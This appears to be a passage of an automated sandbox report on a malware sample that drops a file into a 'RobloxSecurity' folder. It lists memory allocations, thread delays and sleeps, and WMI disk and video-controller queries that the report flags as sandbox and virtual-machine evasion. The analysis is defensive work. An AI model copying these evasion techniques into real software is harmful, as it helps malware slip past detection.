Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Memory allocated: 2A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Memory allocated: 2D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Memory allocated: 2A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Memory allocated: 1F996210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Memory allocated: 1F9AFDF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1B8A9DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1B8C3950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 10DD58D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 10DEF3F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 17A71580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 17A73090000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1EC01810000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1EC199B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 167CFD40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 167E9760000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1CF0AE90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Memory allocated: 1CF24830000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599655
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599546
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599107
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598107
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597970
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597734
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597625
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597515
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597297
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597187
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597077
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596953
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596843
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596515
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596406
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596297
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596187
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596078
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595969
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 582622
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Window / User API: threadDelayed 524	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6412	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2335	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window / User API: threadDelayed 3339	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window / User API: threadDelayed 6279	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window / User API: threadDelayed 6523
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window / User API: threadDelayed 2597

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe TID: 6496	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe TID: 1184	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe TID: 7352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597665s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 2852	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 4452	Thread sleep count: 6523 > 30
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 4452	Thread sleep count: 2597 > 30
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599765s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599655s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599546s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599218s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -599107s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598984s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598875s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598765s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598656s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598437s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598328s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598218s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -598107s >= -30000s
